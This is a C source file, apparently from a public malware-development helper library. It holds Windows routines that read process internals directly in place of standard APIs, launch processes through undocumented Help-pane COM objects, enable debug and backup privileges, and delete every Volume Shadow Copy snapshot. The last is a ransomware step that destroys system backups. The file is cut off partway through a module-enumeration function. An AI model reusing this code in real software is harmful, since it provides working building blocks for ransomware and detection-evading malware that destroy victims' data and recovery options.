mirror of
https://github.com/vxunderground/VX-API
synced 2026-06-06 16:54:55 +00:00
ed3d4eadd6
0000001
939 lines
24 KiB
C
939 lines
24 KiB
C
#pragma once
|
|
#include "MalwareHeader.h"
|
|
|
|
#pragma region "Random String Generation"
|
|
|
|
PWCHAR GeneratePseudoRandomStringW(SIZE_T dwLength)
|
|
{
|
|
WCHAR DataSet[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
|
PWCHAR String = NULL;
|
|
|
|
String = (PWCHAR)RtlHeapAllocForward((sizeof(WCHAR) * (dwLength + 1)));
|
|
if (String == NULL)
|
|
return NULL;
|
|
|
|
#pragma warning (push)
|
|
#pragma warning (disable: 4018)
|
|
for (INT dwN = 0; dwN < dwLength; dwN++)
|
|
{
|
|
INT Key = PseudoRandomInteger() % (INT)(StringLengthW(DataSet) - 1);
|
|
String[dwN] = DataSet[Key];
|
|
}
|
|
#pragma warning (pop)
|
|
|
|
#pragma warning (push)
|
|
#pragma warning (disable: 6386)
|
|
String[dwLength] = '\0';
|
|
#pragma warning (pop)
|
|
|
|
return String;
|
|
}
|
|
|
|
PCHAR GeneratePseudoRandomStringA(SIZE_T dwLength)
|
|
{
|
|
CHAR DataSet[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
|
PCHAR String = NULL;
|
|
|
|
String = (PCHAR)RtlHeapAllocForward((sizeof(CHAR) * (dwLength + 1)));
|
|
if (String == NULL)
|
|
return NULL;
|
|
|
|
#pragma warning (push)
|
|
#pragma warning (disable: 4018)
|
|
for (INT dwN = 0; dwN < dwLength; dwN++)
|
|
{
|
|
INT Key = PseudoRandomInteger() % (INT)(StringLengthA(DataSet) - 1);
|
|
String[dwN] = DataSet[Key];
|
|
}
|
|
#pragma warning (pop)
|
|
|
|
#pragma warning (push)
|
|
#pragma warning (disable: 6386)
|
|
String[dwLength] = '\0';
|
|
#pragma warning (pop)
|
|
|
|
return String;
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "Is Path Valid"
|
|
BOOL IsPathValidA(PCHAR FilePath)
|
|
{
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
|
|
hFile = CreateFileA(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
|
|
if (hFile)
|
|
RtlCloseHandleForward(hFile);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL IsPathValidW(PWCHAR FilePath)
|
|
{
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
|
|
hFile = CreateFileW(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
|
|
if (hFile)
|
|
RtlCloseHandleForward(hFile);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Delete File Alternative"
|
|
|
|
BOOL DeleteFileAltA(PCHAR Path)
|
|
{
|
|
HANDLE hHandle = INVALID_HANDLE_VALUE;
|
|
|
|
if (Path == NULL)
|
|
return FALSE;
|
|
|
|
if (!IsPathValidA(Path))
|
|
return FALSE;
|
|
|
|
hHandle = CreateFileA(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
|
if (hHandle == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
|
|
RtlCloseHandleForward(hHandle);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL DeleteFileAltW(PWCHAR Path)
|
|
{
|
|
HANDLE hHandle = INVALID_HANDLE_VALUE;
|
|
|
|
if (Path == NULL)
|
|
return FALSE;
|
|
|
|
if (!IsPathValidW(Path))
|
|
return FALSE;
|
|
|
|
hHandle = CreateFileW(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
|
if (hHandle == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
|
|
RtlCloseHandleForward(hHandle);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Error Handling Functions"
|
|
|
|
DWORD GetLastErrorAlt(VOID)
|
|
{
|
|
return GetTeb()->LastErrorValue;
|
|
}
|
|
|
|
NTSTATUS GetLastNtStatusAlt(VOID)
|
|
{
|
|
return GetTeb()->LastStatusValue;
|
|
}
|
|
|
|
VOID SetLastErrorAlt(DWORD ErrorCode)
|
|
{
|
|
GetTeb()->LastErrorValue = ErrorCode;
|
|
}
|
|
|
|
VOID SetLastNtStatusAlt(NTSTATUS Status)
|
|
{
|
|
GetTeb()->LastStatusValue = Status;
|
|
}
|
|
|
|
DWORD Win32FromHResult(HRESULT Result)
|
|
{
|
|
if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
|
|
return HRESULT_CODE(Result);
|
|
|
|
if (Result == S_OK)
|
|
return ERROR_SUCCESS;
|
|
|
|
return ERROR_CAN_NOT_COMPLETE;
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "Get Current Directory"
|
|
|
|
DWORD GetCurrentDirectoryAltA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
|
|
if (ProcessParameters->CurrentDirectory.DosPath.Length > nBufferLength)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->CurrentDirectory.DosPath.Buffer, ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
|
|
}
|
|
|
|
DWORD GetCurrentDirectoryAltW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
|
|
if (ProcessParameters->CurrentDirectory.DosPath.Length > nBufferLength)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
if (StringCopyW(lpBuffer, ProcessParameters->CurrentDirectory.DosPath.Buffer) == NULL)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return ProcessParameters->CurrentDirectory.DosPath.Length;
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "Process Identification"
|
|
HANDLE GetCurrentProcessAlt(VOID)
|
|
{
|
|
return (HANDLE)((HANDLE)-1);
|
|
}
|
|
|
|
DWORD GetCurrentProcessIdAlt(VOID)
|
|
{
|
|
return HandleToUlong(GetTeb()->ClientId.UniqueProcess);
|
|
}
|
|
|
|
HANDLE GetCurrentThreadAlt(VOID)
|
|
{
|
|
return ((HANDLE)(LONG_PTR)-2);
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Get Current Window Text Alternative"
|
|
DWORD GetCurrentWindowTextAltA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
|
|
if (nBufferLength < ProcessParameters->WindowTitle.Length)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->WindowTitle.Buffer, ProcessParameters->WindowTitle.MaximumLength);
|
|
}
|
|
|
|
DWORD GetCurrentWindowTextAltW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
|
|
if (nBufferLength < ProcessParameters->WindowTitle.Length)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
if (StringCopyW(lpBuffer, ProcessParameters->WindowTitle.Buffer) == NULL)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return ProcessParameters->WindowTitle.Length;
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "Get File Path"
|
|
DWORD GetInMemoryModulePathFromProcessParametersA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
|
|
if (nBufferLength < ProcessParameters->ImagePathName.Length)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->ImagePathName.Buffer, ProcessParameters->ImagePathName.MaximumLength);
|
|
}
|
|
|
|
DWORD GetInMemoryModulePathFromProcessParametersW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
|
|
if (nBufferLength < ProcessParameters->ImagePathName.Length)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
if (StringCopyW(lpBuffer, ProcessParameters->ImagePathName.Buffer) == NULL)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return ProcessParameters->ImagePathName.Length;
|
|
}
|
|
|
|
DWORD GetInMemoryModulePathFromLoaderLoadModuleA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
|
|
PLDR_MODULE Module = NULL;
|
|
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
|
|
|
|
if (nBufferLength < Module->FullDllName.Length)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return (DWORD)WCharStringToCharString(lpBuffer, Module->FullDllName.Buffer, Module->FullDllName.MaximumLength);
|
|
}
|
|
|
|
DWORD GetInMemoryModulePathFromLoaderLoadModuleW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
|
|
{
|
|
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
|
|
PLDR_MODULE Module = NULL;
|
|
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
|
|
|
|
if(nBufferLength < Module->FullDllName.Length)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
if (StringCopyW(lpBuffer, Module->FullDllName.Buffer) == NULL)
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
return Module->FullDllName.Length;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Get Windows Directory Alternative"
|
|
|
|
BOOL GetSystemWindowsDirectoryAltA(DWORD nBufferLength, PCHAR lpBuffer)
|
|
{
|
|
PKUSER_SHARED_DATA SharedData = GetKUserSharedData();
|
|
|
|
if (nBufferLength < StringLengthW(SharedData->NtSystemRoot))
|
|
return FALSE;
|
|
|
|
if (WCharStringToCharString(lpBuffer, SharedData->NtSystemRoot, nBufferLength) != 0)
|
|
return TRUE;
|
|
else
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL GetSystemWindowsDirectoryAltW(DWORD nBufferLength, PWCHAR lpBuffer)
|
|
{
|
|
PKUSER_SHARED_DATA SharedData = GetKUserSharedData();
|
|
|
|
if (nBufferLength < StringLengthW(SharedData->NtSystemRoot))
|
|
return FALSE;
|
|
|
|
if (StringCopyW(lpBuffer, SharedData->NtSystemRoot) == NULL)
|
|
return FALSE;
|
|
|
|
return TRUE;
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "Create Process Alternatives by COM"
|
|
struct __declspec(uuid("8cec595b-07a1-11d9-b15e-000d56bfe6ee"))
|
|
IHxInteractiveUser : public IUnknown {
|
|
virtual VOID __stdcall Execute(PWCHAR pcUrl) = 0;
|
|
};
|
|
|
|
struct __declspec(uuid("{8cec592c-07a1-11d9-b15e-000d56bfe6ee}"))
|
|
IHxHelpPaneServer : public IUnknown {
|
|
virtual HRESULT __stdcall DisplayTask(PWCHAR) = 0;
|
|
virtual HRESULT __stdcall DisplayContents(PWCHAR) = 0;
|
|
virtual HRESULT __stdcall DisplaySearchResults(PWCHAR) = 0;
|
|
virtual HRESULT __stdcall Execute(const PWCHAR) = 0;
|
|
};
|
|
|
|
HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
|
|
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
|
|
return Result;
|
|
|
|
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
|
|
return Result;
|
|
|
|
return Result;
|
|
}
|
|
|
|
HRESULT CoInitializeIHxInteractiveUserIds(LPGUID Clsid, LPGUID Iid)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
|
|
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58e7-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
|
|
return Result;
|
|
|
|
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec595b-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
|
|
return Result;
|
|
|
|
return Result;
|
|
}
|
|
|
|
HRESULT CreateProcessFromIHxInteractiveUserW(PWCHAR UriFile)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
GUID CLSID_IHxInteractiveUser;
|
|
GUID IID_IHxInteractiveUser;
|
|
IHxInteractiveUser* User = NULL;
|
|
|
|
if(!SUCCEEDED(Result = CoInitializeIHxInteractiveUserIds(&CLSID_IHxInteractiveUser, &IID_IHxInteractiveUser)))
|
|
return Win32FromHResult(Result);
|
|
|
|
if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
|
|
return Win32FromHResult(Result);
|
|
|
|
if (!SUCCEEDED(Result = CoCreateInstance(CLSID_IHxInteractiveUser, NULL, CLSCTX_ALL, IID_IHxInteractiveUser, (PVOID*)&User)))
|
|
return Win32FromHResult(Result);
|
|
|
|
User->Execute(UriFile);
|
|
|
|
if (User)
|
|
User->Release();
|
|
|
|
CoUninitialize();
|
|
|
|
return Win32FromHResult(Result);
|
|
}
|
|
|
|
HRESULT CreateProcessFromIHxHelpPaneServerW(PWCHAR UriFile)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
GUID CLSID_IHxHelpPaneServer;
|
|
GUID IID_IHxHelpPaneServer;
|
|
|
|
IHxHelpPaneServer* Help = NULL;
|
|
|
|
if (!SUCCEEDED(Result = CoInitializeIHxHelpIds(&CLSID_IHxHelpPaneServer, &IID_IHxHelpPaneServer)))
|
|
return Win32FromHResult(Result);
|
|
|
|
if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
|
|
return Win32FromHResult(Result);
|
|
|
|
if (!SUCCEEDED(CoCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, IID_IHxHelpPaneServer, (PVOID*)&Help)))
|
|
return Win32FromHResult(Result);
|
|
|
|
Result = Help->Execute(UriFile);
|
|
|
|
if (Help)
|
|
Help->Release();
|
|
|
|
CoUninitialize();
|
|
|
|
return Win32FromHResult(Result);
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Get Environment Variable From Current User"
|
|
DWORD GetEnvironmentVariableAltW(LPCWSTR Name, LPWSTR Buffer, DWORD Size, BOOL UseAlt)
|
|
{
|
|
UNICODE_STRING uString; RtlZeroMemory(&uString, sizeof(UNICODE_STRING));
|
|
UNICODE_STRING Variable; RtlZeroMemory(&Variable, sizeof(UNICODE_STRING));
|
|
DWORD Token[1] = { 61 };
|
|
LPWSTR String = NULL;
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)(UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
|
|
LPWSTR lpszPtr = (LPWSTR)Environment;
|
|
PWCHAR Pointer;
|
|
|
|
BOOL bFlag = FALSE;
|
|
|
|
String = (LPWSTR)RtlHeapAllocForward(sizeof(WCHAR) * 2);
|
|
if (String == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
DecimalToAsciiW(String, Token, 1);
|
|
|
|
Name = CaplockStringW((PWCHAR)Name);
|
|
if (Name == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
RtlInitUnicodeString(&Variable, (PWCHAR)Name);
|
|
|
|
while (*lpszPtr)
|
|
{
|
|
DWORD dwVariableHash = 0;
|
|
DWORD dwPointerHash = 0;
|
|
lpszPtr += StringLengthW(lpszPtr) + 1;
|
|
Pointer = StringTokenW(lpszPtr, String);
|
|
if (Pointer == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
Pointer = CaplockStringW((PWCHAR)Pointer);
|
|
|
|
dwVariableHash = HashStringDjb2W(Variable.Buffer);
|
|
dwPointerHash = HashStringDjb2W(lpszPtr);
|
|
|
|
if (dwVariableHash == dwPointerHash)
|
|
{
|
|
lpszPtr += StringLengthW(lpszPtr) + 1;
|
|
Pointer = StringTokenW(lpszPtr, String);
|
|
if (Pointer == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
RtlInitUnicodeString(&uString, Pointer);
|
|
break;
|
|
}
|
|
|
|
}
|
|
|
|
if (StringCopyW(Buffer, uString.Buffer) == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
bFlag = TRUE;
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (String)
|
|
RtlHeapFreeForward(String);
|
|
|
|
return (bFlag == TRUE ? uString.Length : 0);
|
|
}
|
|
|
|
DWORD GetEnvironmentVariableAltA(LPCSTR Name, LPSTR Buffer, DWORD Size, BOOL UseAlt)
|
|
{
|
|
UNICODE_STRING uString; RtlZeroMemory(&uString, sizeof(UNICODE_STRING));
|
|
UNICODE_STRING Variable; RtlZeroMemory(&Variable, sizeof(UNICODE_STRING));
|
|
DWORD Token[1] = { 61 };
|
|
LPWSTR String = NULL;
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)(UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
|
|
LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
|
|
LPWSTR lpszPtr = (LPWSTR)Environment;
|
|
PWCHAR Pointer;
|
|
PWCHAR pwName = NULL;
|
|
|
|
BOOL bFlag = FALSE;
|
|
|
|
String = (LPWSTR)RtlHeapAllocForward(sizeof(WCHAR) * 2);
|
|
if (String == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
pwName = (LPWSTR)RtlHeapAllocForward(256);
|
|
if (pwName == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (CharStringToWCharString(pwName, (PCHAR)Name, 256) == 0)
|
|
goto EXIT_ROUTINE;
|
|
|
|
DecimalToAsciiW(String, Token, 1);
|
|
|
|
pwName = CaplockStringW((PWCHAR)pwName);
|
|
if (Name == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
RtlInitUnicodeString(&Variable, (PWCHAR)pwName);
|
|
|
|
while (*lpszPtr)
|
|
{
|
|
DWORD dwVariableHash = 0;
|
|
DWORD dwPointerHash = 0;
|
|
lpszPtr += StringLengthW(lpszPtr) + 1;
|
|
Pointer = StringTokenW(lpszPtr, String);
|
|
if (Pointer == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
Pointer = CaplockStringW((PWCHAR)Pointer);
|
|
|
|
dwVariableHash = HashStringDjb2W(Variable.Buffer);
|
|
dwPointerHash = HashStringDjb2W(lpszPtr);
|
|
|
|
if (dwVariableHash == dwPointerHash)
|
|
{
|
|
lpszPtr += StringLengthW(lpszPtr) + 1;
|
|
Pointer = StringTokenW(lpszPtr, String);
|
|
if (Pointer == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
RtlInitUnicodeString(&uString, Pointer);
|
|
break;
|
|
}
|
|
|
|
}
|
|
|
|
if (WCharStringToCharString(Buffer, uString.Buffer, uString.MaximumLength) == 0)
|
|
goto EXIT_ROUTINE;
|
|
|
|
bFlag = TRUE;
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (pwName)
|
|
RtlHeapFreeForward(pwName);
|
|
|
|
if (String)
|
|
RtlHeapFreeForward(String);
|
|
|
|
return (bFlag == TRUE ? uString.Length : 0);
|
|
}
|
|
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Set Process Tokens"
|
|
BOOL SetProcessPrivilegeToken(DWORD PrivilegeEnum)
|
|
{
|
|
HANDLE Process = GetCurrentProcessAlt();
|
|
HANDLE Token = INVALID_HANDLE_VALUE;
|
|
TOKEN_PRIVILEGES Privileges = { 0 };
|
|
DWORD TokenLength = 0;
|
|
LUID LocalId = { 0 };
|
|
BOOL bFlag = FALSE;
|
|
WCHAR PrivilegeString[256] = { 0 };
|
|
|
|
if (!OpenProcessToken(Process, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
|
|
return FALSE;
|
|
|
|
switch (PrivilegeEnum)
|
|
{
|
|
case MW_SEDEBUG_PRIVILEGE:
|
|
{
|
|
StringCopyW(PrivilegeString, (PWCHAR)L"SeDebugPrivilege");
|
|
break;
|
|
}
|
|
case MW_SEBACKUP_PRIVILEGE:
|
|
{
|
|
StringCopyW(PrivilegeString, (PWCHAR)L"SeBackupPrivilege");
|
|
break;
|
|
}
|
|
default:
|
|
goto EXIT_ROUTINE;
|
|
}
|
|
|
|
if (LookupPrivilegeValueW(NULL, PrivilegeString, &LocalId))
|
|
{
|
|
Privileges.Privileges[0].Luid = LocalId;
|
|
Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
Privileges.PrivilegeCount = 1;
|
|
|
|
if (!AdjustTokenPrivileges(Token, FALSE, &Privileges, 0, NULL, &TokenLength))
|
|
goto EXIT_ROUTINE;
|
|
|
|
}
|
|
|
|
bFlag = TRUE;
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (Token)
|
|
RtlCloseHandleForward(Token);
|
|
|
|
return bFlag;
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "Shadow Volumes Functionality"
|
|
HRESULT ComDisableGlobalSeh(VOID)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
IGlobalOptions* GlobalOptions;
|
|
|
|
#pragma warning( push )
|
|
#pragma warning( disable : 6387)
|
|
Result = CoCreateInstance(CLSID_GlobalOptions, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&GlobalOptions));
|
|
#pragma warning( pop )
|
|
if (!SUCCEEDED(Result))
|
|
goto EXIT_ROUTINE;
|
|
|
|
Result = GlobalOptions->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);
|
|
|
|
GlobalOptions->Release();
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
return Result;
|
|
}
|
|
|
|
DWORD InitializeComWithSecurityContextDefault(BOOL DisableSeh)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
|
|
Result = CoInitializeEx(NULL, 0);
|
|
if (!SUCCEEDED(Result))
|
|
goto EXIT_ROUTINE;
|
|
|
|
Result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IDENTIFY, NULL, EOAC_NONE, NULL);
|
|
if (!SUCCEEDED(Result))
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (DisableSeh)
|
|
Result = ComDisableGlobalSeh();
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
return Win32FromHResult(Result);
|
|
}
|
|
|
|
DWORD ComVssDeleteShadowVolumeBackups(BOOL CoUninitializeAfterCompletion)
|
|
{
|
|
HRESULT Result = S_OK;
|
|
IVssCoordinator* VssCoordinator = NULL;
|
|
VSS_OBJECT_PROP* Snapshots = NULL;
|
|
IVssEnumObject* EnumObject = NULL;
|
|
LONG NumberOfSnapshots = 0;
|
|
ULONG Objects = 16, Retrieved = 0;
|
|
PWCHAR ShadowCopySetId = NULL, ShadowCopyId = NULL;
|
|
|
|
if (InitializeComWithSecurityContextDefault(TRUE) != ERROR_SUCCESS)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!SetProcessPrivilegeToken(MW_SEBACKUP_PRIVILEGE))
|
|
return FALSE;
|
|
|
|
#pragma warning( push )
|
|
#pragma warning( disable : 6387)
|
|
if (!SUCCEEDED(Result = CoCreateInstance(CLSID_CVssCoordinator, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&VssCoordinator))))
|
|
goto EXIT_ROUTINE;
|
|
#pragma warning( pop )
|
|
|
|
if (!SUCCEEDED(Result = VssCoordinator->SetContext(-1)))
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!SUCCEEDED(Result = VssCoordinator->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &EnumObject)))
|
|
goto EXIT_ROUTINE;
|
|
|
|
Snapshots = (VSS_OBJECT_PROP*)RtlHeapAllocForward((sizeof(VSS_OBJECT_PROP) * Objects));
|
|
if (Snapshots == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!SUCCEEDED(Result = EnumObject->Next(Objects, Snapshots, (PULONG)&NumberOfSnapshots)))
|
|
goto EXIT_ROUTINE;
|
|
|
|
ShadowCopySetId = (PWCHAR)RtlHeapAllocForward((32 * sizeof(WCHAR)));
|
|
if (ShadowCopySetId == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
ShadowCopyId = (PWCHAR)RtlHeapAllocForward((32 * sizeof(WCHAR)));
|
|
if (ShadowCopyId == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
while (NumberOfSnapshots--)
|
|
{
|
|
VSS_OBJECT_PROP Element = Snapshots[NumberOfSnapshots];
|
|
LONG Dispose = 0;
|
|
GUID SnapshotDipose = { 0 };
|
|
if (Element.Type != VSS_OBJECT_SNAPSHOT)
|
|
continue;
|
|
|
|
RtlZeroMemory(ShadowCopyId, (32 * sizeof(WCHAR)));
|
|
RtlZeroMemory(ShadowCopySetId, (32 * sizeof(WCHAR)));
|
|
|
|
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotId, ShadowCopyId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
|
|
continue;
|
|
|
|
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotSetId, ShadowCopySetId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
|
|
continue;
|
|
|
|
VssCoordinator->DeleteSnapshots(Element.Obj.Snap.m_SnapshotId, VSS_OBJECT_SNAPSHOT, 1, &Dispose, &SnapshotDipose);
|
|
}
|
|
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (ShadowCopyId)
|
|
RtlHeapFreeForward(ShadowCopyId);
|
|
|
|
if (ShadowCopySetId)
|
|
RtlHeapFreeForward(ShadowCopySetId);
|
|
|
|
if (EnumObject)
|
|
EnumObject->Release();
|
|
|
|
if (VssCoordinator)
|
|
VssCoordinator->Release();
|
|
|
|
if (CoUninitializeAfterCompletion)
|
|
CoUninitialize();
|
|
|
|
return Win32FromHResult(Result);
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "Is Process Running As Admin"
|
|
BOOL IsProcessRunningAsAdmin(VOID)
|
|
{
|
|
HANDLE hToken = NULL;
|
|
TOKEN_ELEVATION Elevation = { 0 };
|
|
DWORD dwSize = 0;
|
|
BOOL bFlag = FALSE;
|
|
|
|
if (!OpenProcessToken(GetCurrentProcessAlt(), TOKEN_QUERY, &hToken))
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize))
|
|
goto EXIT_ROUTINE;
|
|
|
|
bFlag = TRUE;
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (!bFlag)
|
|
SetLastErrorAlt(ERROR_ACCESS_DENIED);
|
|
|
|
if (hToken)
|
|
RtlCloseHandleForward(hToken);
|
|
|
|
return (bFlag ? Elevation.TokenIsElevated : FALSE);
|
|
}
|
|
#pragma endregion
|
|
|
|
#pragma region "OS Version Information"
|
|
|
|
DWORD GetOSIdentificationData(DWORD Id, BOOL UseAlt)
|
|
{
|
|
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
|
|
|
|
switch (Id)
|
|
{
|
|
case OSMAJORVERSION:
|
|
return Peb->OSMajorVersion;
|
|
|
|
case OSMINORVERSION:
|
|
return Peb->OSMinorVersion;
|
|
|
|
case OSBUILDNUMBER:
|
|
return Peb->OSBuildNumber;
|
|
|
|
case OSPLATFORMID:
|
|
return Peb->OSPlatformId;
|
|
|
|
default:
|
|
return ERROR_FAILURE_RETURN;
|
|
|
|
}
|
|
|
|
return ERROR_FAILURE_RETURN;
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
#pragma region "In Memory Module Enumeration"
|
|
|
|
DWORD GetLinkedDllCount(STRING_HASH_VARIANTS Variant, BOOL UseAlt)
|
|
{
|
|
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
|
|
PLDR_MODULE Module = NULL;
|
|
DWORD dwIndexHash = 0;
|
|
DWORD dwCount = 0;
|
|
|
|
